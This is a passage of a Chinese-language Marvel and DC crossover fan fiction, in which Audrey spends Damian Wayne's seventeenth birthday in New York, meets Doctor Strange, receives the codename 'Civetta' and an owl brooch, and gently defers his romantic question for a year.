“他大概立刻纠结起来，觉得你会因为他的蜘蛛侠身份而答应表白。哦，笨蛋彼得。” “然后我告诉他，我喜欢蜘蛛侠，但我更喜欢彼得帕克。在他成为蜘蛛侠之前，他已经是一个很好的人了。”格温说。 “啊，我真为你们高兴。”奥德莉激动地捧住脸，感觉就像磕cp的粉丝看到梦想成真。 “后来我问他，为什么会觉得我没有发现他就是蜘蛛侠。他沮丧起来，念叨着‘奥德莉也这么说。我的伪装真的很差吗？梅姨会不会也早就知道了。我要不要向她坦白’。”格温说着，忍不住笑。 “我觉得梅姨至少能看出来彼得有瞒着她的‘课外活动”’，但本叔去世之后，她一直忙着上班养家，有些细节可能会被无意识地忽略掉。” 两人又聊了一会儿彼得，然后格温用手托着腮说：“我讲完了，轮到你了。看起来，你在哥谭的实习很有收获嘛。” 这次轮到奥德莉有点不好意思了。她用吸管戳了戳可乐杯子里还没完全融化的冰块，斟酌着该怎么讲。格温也不催促，耐心地等奥德莉开口。 “你还记得我刚去哥谭的时候，说过遇到了一个假装不认识我的朋友吗？” “记得，失约的那个。”格温虽然不知道那个人的身份，但在心里早就给他打上了几个负面标签。 “其实，他失忆了。”奥德莉说。 “啊？这太狗血了，电视剧情节一样。你确定他不是在撒谎吗？”格温吐槽，但看着奥德莉的表情忽然意识到什么，声音逐渐减弱。 “呃，是我不小心导致他失忆的。我确定他没有撒谎。”奥德莉说。 “你是说，因为你的技能？”格温小心地看看周围，压低了声音。 “算是吧。”奥德莉叹了口气。“不过他后来又恢复记忆了。” “啊？”格温又一次发出不可置信的声音。 “暑假期间，我们一起经历了一次别的事情，他对那段经历也没有记忆。”奥德莉说完，自己都觉得荒谬。果然，对面的格温又一次发出了“啊？”的声音。 “那他现在是再次失忆的状态吗？”格温有点糊涂了。 “暑假的大部分经历他都记得，只有那一次他忘了。”奥德莉解释完，发现格温正在向自己投以一个夸张的、充满怀疑的眼神，她立刻抗议道：“这次不是我的原因。” “哦。”格温拖长了声调。“看来你们暑假有许多经历。” 奥德莉恼怒地瞪着格温，说：“你还要不要听下去啦？” 格温立刻用手在嘴边比了一个拉上拉链的手势，望着奥德莉等她继续。 “明天他要来纽约。他之前神神秘秘地，让我明天不要做其它安排，把时间留给他。我答应了，但机智如我怎么可能看不出来他表现得古古怪怪呢。于是我问了他的家人，原来明天是他的生日。” 格温举起手，示意奥德莉自己有话要说。 “允许你发言一次。”奥德莉说。 “他是不是……”格温说到一半，又改了口：“你是不是……？” 没等格温说完，奥德莉已经听懂了她的问题，当机立断地打断她：“这就是我要说的重点了——明天是他的十七岁生日。” 格温明白了。她沉默了一会儿，说：“根据我对你的了解，我觉得你已经做出决定了。但是你很忐忑，所以你想听另外一个人对你说，你的决定是对的。” “其实我和他认识才几个月的时间。”奥德莉说。 “是的，一年多的时间，如果不算上他失忆期间的话，只是三、四个月。”格温点头。 “所以你觉得我的决定是对的吗？”奥德莉问。 “我觉得你的决定是对的。不过你知道的，你做的一切决定我都会支持。”格温温柔地说。 “谢谢你。”奥德莉举起可乐杯，和格温的杯子碰了一下。 “我什么时候能见到这个人呢？”格温俏皮地眨眨眼。“明天彼得、哈利和我有出场机会吗？” “下次吧。”奥德莉说。“我还没有告诉他们。” “他们也会支持你的一切决定的。”格温轻轻握住奥德莉的手。 第77章 “你还没拆礼物呢。”奥德莉提醒道。“哦。”达米安依言而动，打开…… “你还没拆礼物呢。”奥德莉提醒道。 “哦。”达米安依言而动,打开礼物盒子。 也许因为发生的一切令他措手不及，达米安看着有点傻乎乎的，连动作竟然都带了几分笨拙。奥德莉这样想,但对此没有丝毫不满,事实上,如果达米安永远处变不惊、游刃有余，她才会感觉不安。 她自认为不是控制狂，但也不喜欢失控的感觉。 盒子里是一枚银制吊坠,沉静的哑光银外壳上有风格古雅的雕花。达米安打开吊坠，看到一张照片已经被仔细地安置其中了。 “我是从视频里截图的。”奥德莉带着笑意说。 照片上，一只白色萨摩耶和一只黑色的小猫趴在地上，头挨着头,像是在耳语着只有他们自己能听见的话。 “很精致的吊坠,照片的选择也非常合我心意。”达米安说。“谢谢。” “这是我做的。”奥德莉说。见达米安吃了一惊，她又得意地笑了：“我的铸之准则也学得不错。” “我还以为这是一件中世纪的古董。” “不,是上周的。只是故意做了复古的款式，没想到能瞒过你的双眼。”奥德莉骄傲起来。“花纹是一种咒语，能防止里面的照片老化褪色。” “非常令人惊叹。”达米安又仔细看了看吊坠,赞叹道。“你们的教学内容涉猎得真广泛。” “炼金术可是必修课,它是科学也是神秘。这门学科历史悠久，猜猜是谁将它体系化并发扬光大的？” “艾萨克牛顿。”达米安略一思索便想到了答案。 “正是他。”奥德莉语带崇拜地说。“他在晚年将全部心力投入在炼金术上，留下了三部核心手稿。世人以为他年老失智，甚至是疯了，却不知道他的成果对无形之术的意义。” “看起来,你们的课程不仅是理论,还有需要亲自动手的实验课。” “当然啦。我最喜欢这门课了，非常有趣,虽然经常险象环生，因为总有人会灵机一动，不按照计划行事。如果一节实验课只发生两、三次小爆炸，那已经算是最太平的情况了。” “你就是经常灵光一闪的同学之一吧？”达米安露出一个了然的微笑。 “没有证据的话，你这算是诽谤哦。”奥德莉先是故作严肃，然后也笑了：“好吧，确实有过那么几次。” 丰盛的早餐之后，达米安在盘子下面留下了一张百元大钞作为小费。奥德莉急忙阻止他：“快住手。店主会以为我们疯了，晚上会给我妈妈打电话的。” 达米安有点尴尬地说：“我只是想表示感谢。” “我知道，我不是反对你这么做，我只是说你得采取点策略。我想你可以把它塞到收银台上的玻璃罐子里。需要我为你打掩护吗？” “好啊。”达米安对自己的手速有信心，但没有拒绝奥德莉的提议。奥德莉便笑嘻嘻地去找店主聊了几句，把她的视线吸引到其它地方。 离开餐厅后，奥德莉带着达米安在街区中闲逛。这是她长大的地方，她对一草一木都了如指掌。 皇后区的热闹和纽约其它地方不一样，不是曼哈顿那种钢铁丛林中仿佛永不停歇的快节奏，也不是布鲁克林那种文艺又潮流的氛围，而是一种接地气的、真实的生活味道。 “在这里你几乎能吃到世界上任何一种食物。”奥德莉说。“这里有来自世界各地的人，他们在这里努力生活，并带来了家乡的味道。” 她指着街边一家家的小店：“广东烧腊、越南河粉、印度咖喱鸡、牙买加肉卷，虽然我还没去过那些国家和地区，但我好像已经从食物的味道里，了解了他们一点点。” 达米安的视线在那些招牌和店面上一一停留，霓虹灯牌闪烁、手写菜单贴在玻璃窗上、店铺门口悬挂着店主故乡的装饰，空气中弥漫着辣椒和炖肉的香气。 “是不是与哥谭很不一样？”奥德莉问。 “你是在暗示哥谭的种族结构太单一了吗？”达米安轻轻挑眉。 “哥谭还是有很多欧洲移民的后裔的。”奥德莉说完，感觉好像的确在抹黑哥谭，自己也笑了。“哥谭的少数族裔比例确实比纽约低很多，但这是历史遗留问题。我想随着哥谭越来越安全，会有更多新移民选择去哥谭定居的。” “以这个作为评价指标吗？”达米安若有所思。“这是一个有趣的角度。” 两人继续走着，达米安问：“去年去中东，你是第一次出国吗？” “大一的时候，学校组织我们去过伦敦，但没有久待。中东那次是我第一次真正深入地体验异国文化。不过我马上就要去新加坡玩啦。”奥德莉期待地说。 “家庭旅行吗？” “还有朋友家一起。”奥德莉说，然后示意达米安看旁边的武馆。“这家老板很厉害，当然比你还是逊色一点。” “哦，这就是你去年开始常去的那家。”达米安说。 “因为我去得勤，又是附近的居民，老板还给了我额外折扣。暑假实习期间我去得少，老板还不知道我有了私人教练，进步飞快。下次和他对练的时候，他一定大吃一惊。”奥德莉说。 “私人教练”达米安难掩得意，但还是勉强谦虚了一下，没有揽下全部功劳：“他帮你打下了很好的基础，而且你的天赋也很不错。” 奥德莉被夸得有点迷失自我，毫无自知之明地问：“如果我去刺客联盟面试，是不是会被选为重点培养对象？” 达米安思考了一下，委婉地说：“刺客联盟和密大对重点培养对象的要求不一样。” “看来我命中注定是要成为一名优秀的调查员了。”奥德莉只是开个玩笑，听了达米安的回答也并不失落，笑着耸耸肩。 在分享了一路的街头小吃之后，奥德莉和达米安一致同意跳过午饭，直接去格林威治村。 传送到一条小巷之后，奥德莉放开达米安的手，然后欢快地朝外跑去，说：“好巧，这里又有一家冰淇淋店。” “这明明是你特意安排的传送地点。”达米安小声嘀咕了一句，但还是跟上奥德莉的步伐。 几分钟后，两人漫步在街头，各自举着一个纸杯，看起来和普通的游客一样。奥德莉邀功似地说：“是不是很好吃？夏日限定的柚子口味，我每年都会特意来。” “确实不错，味道非常清新。”达米安赞同道。 走到布利克街177A号时，奥德莉忽然停下了脚步，在达米安耳边低声说：“你能看见这栋别墅吗，177A号？” 达米安看向旁边这栋普普通通的三层维多利亚风格褐砂石联排别墅，建筑带了点法国巴洛克风格。唯一让它看起来非常特别的是最上面的曼萨德式屋顶，圆形的红色玻璃上装饰着意味不明的木条，让它看起来像是一只被封住的眼珠。 177A号的两边分别是一家纹身店和一家小餐厅，时而有人进出，但这些人好像都无视了这座建筑，或许是因为它下面并没有吸引人的商铺。 “不是所有人都能看见它。”奥德莉又小声说出自己的观察。“我昨天注意到的。” 达米安仔细观察了几分钟，发现确实如此——人们不是无视它，而是压根没有看到它。 “的确很古怪。”达米安说。“是魔法侧的手段吧。” “更古怪的是，我昨天看到快递员送信的时候并没有略过它，也就是说他是能看到的。”奥德莉又补充道。“你们知道这个地址吗？” “我们并不是无所不知。而且，这里不是哥谭。”达米安对奥德莉期待的、充满暗示的眼神感到哭笑不得。 奥德莉惋惜地叹口气，正准备和达米安离开时，联排别墅的大门忽然打开了。 “请进来喝杯茶吧。”一个中等个子的壮实男人说。他有一张亚洲面孔，语气很和善。 奥德莉和达米安对视一眼，跟着男人进了别墅。 一个穿着红色斗篷的高大男人站在屋内迎接他们。他对着旁边桌子上的茶具轻轻一点头，两个茶杯便被倒满了茶水，慢悠悠地飘到奥德莉和达米安面前。两人礼貌地接住，并没有喝。 “欢迎。我是史蒂芬斯特兰奇，你们可以叫我斯特兰奇博士。” “我是奥德莉，这是达米安。谢谢您邀请我们。” 奥德莉好奇地打量着鬓发染霜、胸前戴着一枚夸张吊坠的斯特兰奇博士。吊坠中央镶嵌着一颗宛如绿色眼珠的巨大宝石，最外层的金属结构错落交叠，形制奇特，和别墅屋顶上红色玻璃外部的木条结构颇为相似。 达米安也在不动声色地观察周围。他注意到这间房子的内部空间出奇地巨大，与从外部看到的建筑完全不相匹配，他猜测这里也许用了某种空间魔法。 “我知道，西维塔和罗宾。”斯特兰奇博士说。“对我来说这不是我们第一次见面。” 奥德莉几乎不需要刻意表演，已经和达米安一起露出了茫然的神情。“在未来见过”这种事并不稀奇——她已经了解了时间的混乱性。但“西维塔”是什么？ 斯特兰奇博士的斗篷领子突然戳了他一下，他思索了一秒，立刻意识到自己的错误：“抱歉，这个时间点的你还没有使用这个代号。” “我们俩在未来会分别用这两个代号称呼自己吗？它们是什么意思？”奥德莉半真半假地提问，为达米安掩护。这不算是撒谎，只是回避部分事实。 斯特兰奇博士明白奥德莉的意图，他下意识地想戳穿她，没什么特别的原因，只是因为他觉得聊天的时候需要一直打哑谜的话有点累。但这一次对斯特兰奇博士动手的不只是斗篷领子，斗篷下摆还抽打了他一下。他有点做作地痛呼一声，但斗篷完全不为所动，作势准备再来一下。 斯特兰奇博士明智地选择闭嘴，再开口时就只是解释奥德莉的代号了：“Civetta（西维塔）是意大利语，意为猫头鹰。” 奥德莉礼貌地假装没有看见斗篷制裁主人的好戏，思考起自己为什么会起这样一个代号，最后有点犹豫地问：“你知道我起这个代号的原因吗？” 第78章 斯特兰奇博士回忆了一下，说：“你说这是你们俩一起想出来的代号，具体…… 斯特兰奇博士回忆了一下,说：“你说这是你们俩一起想出来的代号，具体的缘由我就不清楚了。来，喝杯茶吧。” 被莫名其妙地邀请进屋喝了一杯茶,然后又被客客气气地送出去,整个过程奥德莉都觉得十分茫然。又一次站在联排别墅门口时,奥德莉掐了自己的胳膊一下，说：“不是在做梦。真是太奇怪的经历了。” 达米安示意奥德莉和自己继续朝前走，一直到离别墅有一段距离,他才解释道：“我读过斯特兰奇博士的资料。他是一位非常强大的魔法师，魔法来源是维山帝。这栋房子想必就是纽约至圣所了。” “他不是个坏人吧？”奥德莉担忧地说。“他知道你的身份，很可能也知道其他人的。” “你注意到他的吊坠了吗？那是阿戈摩托之眼，有控制时间的能力。我想他可能知道世界上的一切秘密。他和复仇者联盟有密切的合作,据我所知他从来没泄露过任何未公开身份之人的信息。所以我想他是习惯于守口如瓶的。”达米安说。 “你们对他了解的不少嘛。” “当然,我们也有密切合作的魔法师。” 奥德莉放心了，又开始思考起自己的代号：“我是个调查员,为什么会给自己起代号呢？我们通常用全名，偶尔用首字母缩写。” “超级英雄的很多合作伙伴也有代号，这很常见。” “那我为什么会起这个代号呢？等等,他说是我们俩想出来的,会不会其实是你想出来的？你快想想它有什么特殊之处。” 达米安的脸色僵硬了一瞬，他环顾周围，看见一张树荫下的空长椅，提议道：“我们去那边坐一会儿吧。” 奥德莉不明所以地坐在达米安旁边，等着听他的分析。 达米安清清嗓子,从口袋中拿出一个盒子递给奥德莉：“其实我也给你准备了礼物,想分别前再给你的。” 奥德莉接过盒子，好笑地说：“哪有过生日的人给别人送礼物的。” 达米安凝视着奥德莉,绿眼睛中带着点不安。奥德莉安抚地对他笑了笑，道了声谢，然后打开了盒子。 里面是一枚白金打造的胸针，猫头鹰站立在一根树枝上，它微微偏着头，眼神锐利地看着远方，两颗红宝石眼睛中仿佛闪烁神秘光芒。喙与爪以黑玛瑙镶嵌。 它双翼微张，似乎正准备腾空而起。身体与翅膀上镶嵌了许多钻石，营造出夜间微光中羽毛的冷冽光辉。 更夺人眼球的是猫头鹰的胸口正中间那颗蓝色宝石，大约十克拉，澄澈无瑕，在阳光下流光溢彩。 “猫头鹰胸针？”奥德莉瞪着这枚镶嵌了名贵宝石、显然价格不菲的胸针，几秒后紧张地把盒子盖上，朝四周看看。 “我想还不至于有人光天化日之下抢劫，有的话我们也足以应付。”达米安被奥德莉出乎意料的反应逗笑了。 “这太贵重了。”奥德莉说。“即使我对珠宝了解有限，也能看出它的不凡。而且胸针下方丝绒上的暗纹写的是卡地亚，我认识字。” “这是玛莎，布鲁斯的母亲，在成年时为自己定制的礼物。她来自哥谭的另一个老牌家族凯恩，金钱对她不算什么。”达米安说。 奥德莉听完，更加觉得手中的胸针意义非凡。在她又一次想委婉拒绝时，达米安说：“希腊神话中，猫头鹰是女神雅典娜的使者，象征着智慧。它沉默、敏锐，习惯在黑暗中观察，然后无声而精准地完成捕猎。当我在思考适合你的代号时，我立刻想到了它。当然，这只是我的建议，你的代号应该由你来决定。” 奥德莉思索着，说：“研习无形之术的人将猫头鹰视为通晓禁忌知识的生灵，认为它能看见不可名状的事物并保持理性。它不畏黑暗，甚至在黑暗中看得更清楚。我喜欢这个代号，而且意大利语版本读起来比英语更酷一些。” “那么，你愿意接受它吗？” “代号，是的，当某天我开始使用代号的时候，它会是我的首选。至于胸针，我觉得它比较适合留在布鲁斯那里作为纪念。” “事实上，正是他提议把它送给你的。”达米安说。“你刚来哥谭的时候，我们在频道里暂时用‘A女士’来指代你。但随着我的记忆恢复，以及与你一起经历了那么多事情之后，我想到了‘西维塔’这个代号。我向布鲁斯提议这样称呼你，他听了之后也认为这个代号很合适，并让阿福把这枚胸针找了出来。” “你们不想影响我的决定，所以只是私下这样称呼我，但完全不打算告诉我。如果今天斯特兰奇博士没有说漏嘴，你就只会送给我胸针，而不提其它？” “我是这样打算的。”达米安承认。 “布鲁斯肯定不是这样建议的。”奥德莉非常确定地说。“他会说，‘你把这个胸针送给她，就是在影响她的决定了。’” “他的确建议我在你决定了代号之后再送给你，如果你出于自己的想法，选了‘猫头鹰’作为代号的话。” “那如果我选了别的呢？”奥德莉好奇地问。 “韦恩家的珠宝很多，而且总可以随时再定制的。” 奥德莉因这种壕无人性又逻辑清晰的回答而哑口无言了几秒，然后又问：“你为什么要在今天把它送给我？” “我以为你不知道今天是我的生日。你陪了我一整天，我送一个小礼物给你作为纪念，这不是很正常吗？” “我们对‘小礼物’的定义差别实在是太大了。忽然送这么昂贵又具有纪念意义的物品，我绝对要拒绝的。” “如果你拒绝的话，我就先帮你保存。你不是想试试开锁吗？我买了一个最新款的保险柜，柜子和里面的东西都是你的。”达米安面不改色地说。“不过你已经知道今天是我的生日了，还答应让我想做什么都可以，那我要求你不许拒绝。” “天啊，你今天好嚣张。”如果不是考虑到今天是达米安的生日，奥德莉很想用手里的盒子去敲他的头，让他清醒一下。 达米安一脸乖巧地坐着，眼神无辜地望着奥德莉：“我没有。” “你以为搬出布鲁斯或者打出‘今天是我的生日’这张牌就能让我改变主意吗？”奥德莉哼了一声，抓住达米安的手，把盒子压在达米安的掌心上。“我们才认识多久啊？你不觉得送这个礼物欠妥吗？” “我觉得够久了。”达米安忽然翻手握住奥德莉的手，盒子被夹在两人的手掌之间。“我也完全有足够的心智做出这个决定——任何决定。” 他们在说的已经不只是这枚胸针了，两人都很清楚这一点。 “也许你现在是这样想的。”奥德莉说。“但你终究只是十七岁。两年前的我认为自己在大学毕业之后的最佳职业是在斯塔克工业做个混日子的白领。是密大的学习让我找到了我真正热爱的职业。甚至就在去年暑假的时候，我都还没有现在这么坚定，两次实习经历塑造了现在的我。” 达米安平静地反驳道：“就算是一个五十岁的人，去密大学习两年之后，思想也很可能发生天翻地覆的改变。我不觉得这是年龄的原因。” “你说的对。”出乎达米安的意料，奥德莉并没有继续争论下去，而是带着点歉意地让步了。“这确实不是年龄造成的变化。” 她注视着达米安，斟酌着说：“但对我来说，我需要一段冷静的思考时间才能做决定。过去的两个月里，我们几乎天天见面，这种情况下的决定可能是冲动草率的。” “但未必是错误的。”达米安强调。 “我的直觉告诉我，很可能是正确的。”奥德莉说。“所以我的答案不是‘不’，而是‘明年今日，再来问我一次吧’。” “你明明经常依仗直觉行动。”达米安小小声地抗议。 “但我也在小丑事件后，经某人提醒，决定不过分依赖直觉。”奥德莉无辜地眨眨眼。 达米安忽然有一种搬起石头砸了自己的脚的感觉。他指出奥德莉话中的漏洞：“如果你只是需要一段时间考虑，根本不会说‘明年今日’。你根本就是在意我的年龄。” 面对达米安的抱怨，奥德莉理直气壮地狡辩：“我不是在意你比我小，你永远会比我小两岁——这是谁也无法改变的事实。” “你只是在意我不是十八岁。”达米安闷闷地说。“完全无视我的心智远比成年人成熟这一点。” “不要在公共场合说这么有歧义的话。别人会误会我和莱昂纳多迪卡普里奥有一样的爱好。”奥德莉故作严肃地说。 达米安无可奈何地叹了口气，露出可怜兮兮的表情，绿色眼睛湿漉漉的。 奥德莉忽然想起格温对彼得的形容——像一只淋了一夜雨又被人踹了一脚的小狗。达米安现在的样子更像一只委屈的流浪猫，自以为在对人俯首称臣，但眼底又有倔强和骄傲，那种矛盾感令她移不开眼。 她深吸一口气，收回被达米安握住的手，两只手一起捂住眼睛，耍赖地说：“我已经免疫了。” “那你倒是放下手啊。”达米安觉得好笑。 “除非你停止作弊。”奥德莉哼唧着，从指缝去偷看达米安的表情。达米安已经恢复了*平日那副淡定的表情，静静地看着奥德莉。 奥德莉不知道的是，达米安其实早就为这样的结果做好了心理准备。 在她一次次强调他是“未成年人”的时候，他已经看得很清楚：她对这一点莫名地特别在意。 达米安当然希望她能放下这种固执，但更希望她能按照自己的想法做决定。所以他只是小小地推她一把，如果她愿意顺势接受，那很好；如果她不愿意，那也没关系，明年他再问一次。 而且她没有说不。 如果奥德莉会读心术，她此刻便能看到，达米安心里的那只小黑猫已经把尾巴甩成了螺旋桨。 第79章 奥德莉慢慢地放下手，和达米安对视着。街上行人依旧来来往往，汽车的嗡…… 奥德莉慢慢地放下手,和达米安对视着。街上行人依旧来来往往，汽车的嗡鸣和各地游客的欢声笑语仿佛都隔了一层薄纱，朦胧又遥远。此时此刻,树荫下这一小方天地仿佛从喧嚣中脱离出来,是独属于他们两人的。 午后的微风轻轻吹拂,阳光透过枝叶洒落在他们身上，投下斑驳的光影。不知过了多久，两人忽然都有些不好意思,不约而同地移开了目光。 “你的眼睛为什么会是绿色的？”奥德莉没话找话地问。“布鲁斯的眼睛是蓝色的。” “我母亲的眼睛是绿色的。”达米安说。“你是不是有西班牙或北欧血统？” “我不知道，也许吧。我的外祖父的祖先是英国人，淘金潮的时候来美国的。至于我的祖父，他是一个从不提起过去的人。”奥德莉茫然地回答。 “你的眼睛颜色比一般人的深,在阳光下也几乎是黑色的。”达米安解释道。 人们常说的“黑色眼睛”通常是非常深的棕色,深到在正常光线下看起来几乎是黑的，但如果在强光下观察,就会看到其实是深棕色。 “会不会是因为外神血脉。”奥德莉发散思维，大胆猜测。 “我知道对于神秘学不能一味用科学的方法去分析。但我很难想象外神与人类之间是如何生下混血儿的，几百年前可没有生物辅助手段。”达米安沉思着。 “也可能是血脉发生异变。如果我的某位祖先曾被当作给外神的祭品的话,他可能得到了外神的注视并被给予了一种人类无法理解的馈赠。” “祂为什么要这么做？” “繁殖欲望？或者祂压根没意识到自己的馈赠对于人类而言意味着什么。不过我想我应该和其他人类没有太大区别吧,我的体检结果一向很正常。” “我们好像总是忍不住从科学角度去想神秘问题。”达米安感慨。 “毕竟我不是从小被关在城堡里只学习神秘学的人嘛，我在上大学前接受的都是科学教育啊。”奥德莉想了想，又补充道：“而且密大也经常结合科学手段进行研究，并不固步自封。其实除了学的内容有点特别之外，密大校园和其它学校没区别,有电有wifi。” 达米安点点头：“谢谢你们不歧视麻瓜。” “我们这是在纽约,应该叫麻鸡。”奥德莉纠正他。 两人一起笑了一阵，达米安忽然问：“所以你开学之后,我们还是可以打电话，或者视频聊天的，对吧？” “当然。”奥德莉说完才意识到达米安有过怎样的担忧，她轻轻戳了戳达米安的脸：“你不会以为我们要靠通讯器联系吧？还是发邮件，哦不，飞鸽传书？” 达米安眼神有点飘忽，但坚持嘴硬道：“当然不会……我记得你的教授随时查看邮件，一看就是个熟悉现代通讯方式的人。” “好吧，姑且相信你。”奥德莉决定放过偶尔犯傻的达米安，因为他开始脸红了。她感觉到指尖传来的热意之后，轻笑着收回了手。 她想了想，又说：“不过我住的不是单人宿舍，有一名室友。而且开学之后会很忙，我要选的课可多了。” 达米安抗议道：“我没有要求你随时随地秒回我的消息，也不会没完没了地和你视频。你把我形容得好像一只黏人的猫一样。” “猫很黏人吗？通常来说更黏人的是狗狗吧。”奥德莉下意识地说。 “是吗？那你要说到做到。”达米安狡猾地说。 奥德莉发现自己中了达米安的圈套，“哼”了一声，说：“我小的时候读过一本童话书，讲的是小动物们交换尾巴的经历。” 她卖关子似地停在这里，等着达米安追问。达米安很配合地问：“然后呢？” “小动物们交换了尾巴，发现因此获得了别人的一部分性格特征。比如小兔子戴上了小松鼠的尾巴，变得喜欢爬树和采摘松果。” “你想说我们的性格受到了彼此的影响，就像交换了尾巴一样？”达米安接话。 “你不觉得吗？不是那种天翻地覆的变化，但是多少有一些影响。在遇到问题的时候，我偶尔会想，如果是达米安遇到这种情况，他会怎么做呢。” “好吧，我可能也被你影响了。至少在面对你的时候，我会更直白地表达。”达米安说。 “所以呀，你现在是只狗狗猫。”奥德莉总结。“狗狗猫会比普通的猫更黏人。” 达米安想象了一下，一只黑猫长了一条比自己身体两倍还要大的毛茸茸白尾巴——这只猫恐怕需要极好的体力才能行动自如。他又想象一只萨摩耶长了一条细细的黑色尾巴——这个场景荒谬又好笑。 他没忍住笑了出来，一边笑一边给奥德莉讲，被后者当场制裁：“快停下不许想了！” “你能停止想象吗？”达米安坏心眼地问，又描述了一遍。 人就是这样，当别人告诉你不要去想某个事物时，你一定会开始想这个事物。 奥德莉空不出手去戳达米安的胳膊了，因为她忙着捂住耳朵，嘴里说着“我听不到我听不到”。 两个人闹了半天，最后奥德莉从长椅上跳起来，严正地说：“你就这么接受了自己是超级小的猫咪的设定吗？加油啊达米安！下次变成老虎那么大的！” 身高一米八的达米安也站起来，态度坚决地说：“明年我会长到一米九的。” “那你就比布鲁斯还高了，不太合适吧。”奥德莉纠结道。 她想起去年夏天达米安还不到一米七，短短一年长高了十多公分。按照这个生长速度的话，再过一年真的很有可能变成一米九。而布鲁斯的身高，根据小报所说，距离一米九还差一点点。 达米安被气晕了：“为什么不合适？说不定我能长到两米呢。我要成为家里最高的那个人。” “我倒不反对你在家庭合照里鹤立鸡群。但是……”奥德莉看看周围，凑到达米安耳边低声说：“你们夜间活动的时候，那个画面会不会给普通市民带去精神伤害？” 这么多年来，哥谭市民已经习惯了蝙蝠侠最高大、最威武雄壮，而罗宾虽然不至于被称为娇小可人，但也给人一种他能被蝙蝠侠笼罩在披风下的感觉。 如果某一天，罗宾变得比蝙蝠侠更高大、更威武雄壮……天啊，那画面太美，一定会成为哥谭头条新闻。 达米安想了一下，也有点受不了那个画面。他决定回家之后立刻做两件事： 一、请阿福给父亲加餐，看看他能不能在中年再长高一些。 二、为蝙蝠侠的战术靴子加上厚鞋底，最终目标是至少十公分那么厚。不过考虑到自己不会一夜之间长高十公分，这个计划可以循序渐进地实施，每个月为鞋底增高两公分也便于蝙蝠侠适应。 “你不会在想什么迫害布鲁斯的坏主意吧？”奥德莉警惕地看着神色变化不定的达米安。 “怎么会呢。”达米安露出一个虚假的微笑。“我只是在思考如何避免哥谭市民受到刺激。” “说不定你长到两米之后，再变成猫会比上次还小哦。”奥德莉打击达米安。 “那至少我在没变成猫的时候，可以俯视众人。”达米安高傲地说。 “来，兜帽增高大法。”奥德莉踮起脚，把达米安的卫衣帽子为他戴上。“恭喜你，已经高了一公分了。” “幼稚。”达米安用不屑一顾的语气说，实则已经决定悄悄增加蝙蝠侠头盔上耳朵的高度。他还遗憾地想，可惜耳朵的长度不能太过夸张，否则会看起来像兔子。毕竟将来他是要接过蝙蝠披风的人，还是得好好地维护蝙蝠侠的形象。 韦恩庄园，终于睡醒了的布鲁斯披着晨袍出现在一楼，在普通人吃下午茶的时间吃起了他的早餐。 “达米安去纽约了？”布鲁斯明知故问。 “一大早就去了。”阿尔弗雷德为布鲁斯倒上咖啡，看起来心情很好。 “真是活力十足啊。”布鲁斯感慨。“不知道他会不会告诉奥德莉，今天到底是什么日子。” “奥德莉小姐已经知道了。”阿尔弗雷德淡定地说。 “哦？”布鲁斯反应过来了，“她问过你。” “是的。” “我真希望能看到达米安的表情。”布鲁斯笑起来。 “那一定是达米安少爷不希望您看见的。”阿尔弗雷德不赞同地说，但也笑了。 “今天晚上有需要我参加的社交场合吗？” “有一场宴会，凯特小姐说她会代您出席。”阿尔弗雷德说。“当然，如果您愿意的话，哥谭所有的宴会都始终为您敞开大门。” 凯特是凯恩家族的女继承人，也是布鲁斯舅舅的女儿。 “还是算了。”布鲁斯嘟哝着。“我真高兴凯特回来了。” “上个月，对于她提出的想做蝙蝠女侠一事，您的态度是斩钉截铁的反对。如果我没记错的话，原话是‘决不允许’。” 布鲁斯叹了口气：“我只是不希望她成为义警，但我很高兴她回到哥谭。” “老爷，您这些年试图阻止过很多人走上这条路，但最终他们还是做出了自己的选择。”阿尔弗雷德温和地说。“倒不如训练她，至少这样她能少受一点伤。” 第80章 奥德莉和达米安继续在格林威治村的街头缓步前行。在一个路口等红灯时，…… 奥德莉和达米安继续在格林威治村的街头缓步前行。在一个路口等红灯时,他们无意间听见一群游客的对话。 那些人看起来是暑假来纽约参加夏令营的学生，头上戴着同样的帽子，正各自举着手机查找超级英雄曾出现过的地点,兴奋地叽叽喳喳。 一个穿着印有“我爱纽约”字样T恤的男生说：“一小时前有人说在附近看到钢铁侠飞过去。也许他会再经过呢！” 一个女生说：“我比较想见蜘蛛侠！我看网上有帖子说他经常会来这条街,把那些试图对游客下手的小偷黏在电线杆上。” 另一个男生插话：“我希望能见到美国队长。”然后立刻遭到同伴们的吐槽：“教育宣传片你还没看够吗？”/“我不想听他真人出现给我们讲一堆大道理。” 奥德莉忍不住笑出了声,转头看看身边的达米安。他已经摘下了兜帽，头发有点乱糟糟的，带着点懒洋洋的感觉,和午后街头的氛围完美搭配。 她想起彼得说过的，哥谭在纽约投放了不少旅游广告，于是轻轻碰了碰达米安的手臂，说：“有没有游客对你们守株待兔过？” “游客吗？目前还没有,可能外地人没那么强烈的冒险精神吧。” “哦,”奥德莉挑了下眉，“所以哥谭本地人有过？” “我不相信你在阿卡姆实习的时候没听说过。”达米安瞥了一眼明知故问的奥德莉。 “想听听当事人的版本嘛。”奥德莉笑眯眯地说。 “才不是,你根本是想和人一起吹捧偶像蝙蝠侠。”达米安才不上当。 “好吧。”奥德莉耸耸肩，故意说：“我知道你为什么不乐意聊这些。根据我的观察，在说到超级英雄的时候,哥谭人总是觉得自己城市的义警历史不够悠久,略微输给纽约一筹。” “蝙蝠侠明明是全美，哦不，全球最早出现的义警。”达米安明明知道奥德莉是在故意逗他，还是忍不住上钩了。 “不，美国队长才是。” 尽管纽约拥有超级英雄的历史略晚于哥谭——后者早在二十世纪末便迎来了属于这座城市的第一位义警——但若有人强词夺理,将美国队长被注射超级士兵血清的那一刻视作纽约诞生首位超级英雄的时间节点,那么纽约的超级英雄历史其实可以再向前回溯数十年。 这个强词夺理的人自然是奥德莉。达米安静静地听完，慢悠悠地说：“如果二战时期的美国队长也能被归类为‘义警’的话,那全体美军都算是义警了。” 他紧接着又补上一句：“如果算上其它世界的话，早在维多利亚时期就有蝙蝠侠了。” 奥德莉原本正在思考如何反驳达米安，但听到“蝙蝠侠”三个字，她的粉丝情绪立刻又一次占据了上风，暂时将纽约的超级英雄们抛到脑后。 她的脑海里浮现出那位蝙蝠侠极具时代风格的战甲，每一处细节都极具设计巧思和美感。她感慨道：“我依然觉得他的制服酷到无以复加，没有其他超级英雄可以超越。” 达米安毫不惊讶奥德莉会这么说。在维多利亚时代，她明明才刚从千钧一发的局面中被解救出去，却像完全忘记了恐惧似的，只顾着目不转睛地盯着蝙蝠侠的战甲看。 